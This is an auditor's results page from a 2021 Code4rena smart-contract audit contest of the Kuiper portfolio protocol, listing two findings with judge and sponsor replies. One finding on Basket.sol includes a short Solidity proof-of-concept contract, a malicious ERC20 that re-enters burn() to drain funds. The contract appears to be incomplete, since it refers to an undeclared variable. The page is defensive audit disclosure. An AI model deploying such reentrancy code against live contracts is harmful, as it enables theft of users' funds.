Kuiper contest - hack3r-0m's results

Automated portfolio protocol.

General Information

Platform: Code4rena

Start Date: 16/09/2021

Pot Size: $50,000 USDC

Total HM: 26

Participants: 30

Period: 7 days

Judge: GalloDaSballo

Total Solo HM: 17

Id: 36

League: ETH

Kuiper

Findings Distribution

Researcher Performance

Rank: 16/30

Findings: 4

Award: $678.39

🌟 Selected for report: 3

πŸš€ Solo Findings: 0

Findings Information

🌟 Selected for report: hack3r-0m

Also found by: JMukesh, itsmeSTYJ, leastwood, shenwilly

Labels

bug
2 (Med Risk)
sponsor confirmed

Awards

131.4735 USDC - $131.47

External Links

Handle

hack3r-0m

Vulnerability details

https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L146

transfer() might return false instead of reverting, in this case, ignoring return value leads to considering it successful.

use safeTransfer() or check the return value if length of returned data is > 0.

#0 - GalloDaSballo

2021-11-30T23:36:21Z

Agree with finding, agree with severity given the specific example given as the funds would be stuck in the contract

Findings Information

🌟 Selected for report: 0xalpharush

Also found by: JMukesh, hack3r-0m, johnsterlacci

Labels

bug
duplicate
2 (Med Risk)
disagree with severity
sponsor acknowledged

Awards

182.6021 USDC - $182.60

External Links

Handle

hack3r-0m

Vulnerability details

https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L89

anyone can propose basket and hence one can create basket with his/her choice of tokens, out of which some can be malicious.

attacker can create sequence of tokens as WETH(1), DAI(2), USDC(3) and Malicious contract(4) and can drain all funds.

After calling burn(), at pushUnderlying(), 1st iteration will transfer WETH, 2nd will transfer DAI, third will transfer USDC and attacker will re-enter on 4th iteration again via burn()

Here is POC of attacker contract:

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; import "./interfaces/IBasket.sol"; contract MaliciousERC20 { event Transfer(address indexed from, address indexed to, uint256 value); string name = "this is not erc20!"; string symbol = "not erc20!"; uint8 decimals = 18; function burnFromBasket(uint256 amount, address basket) public { IBasket(basket).burn(amount); } function transfer(address recipient, uint256 amount) public returns (bool) { IBasket(basket).burn(amount); emit Transfer(msg.sender, recipient, amount); return true; } }

#0 - frank-beard

2021-09-28T21:29:54Z

for this version of the protocol we are only concerned with defi safe erc-20 tokens, it is expected that the publishers and users will do their due diligence on what assets will be safe to add

#1 - GalloDaSballo

2021-12-19T00:05:13Z

Duplicate of #248

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter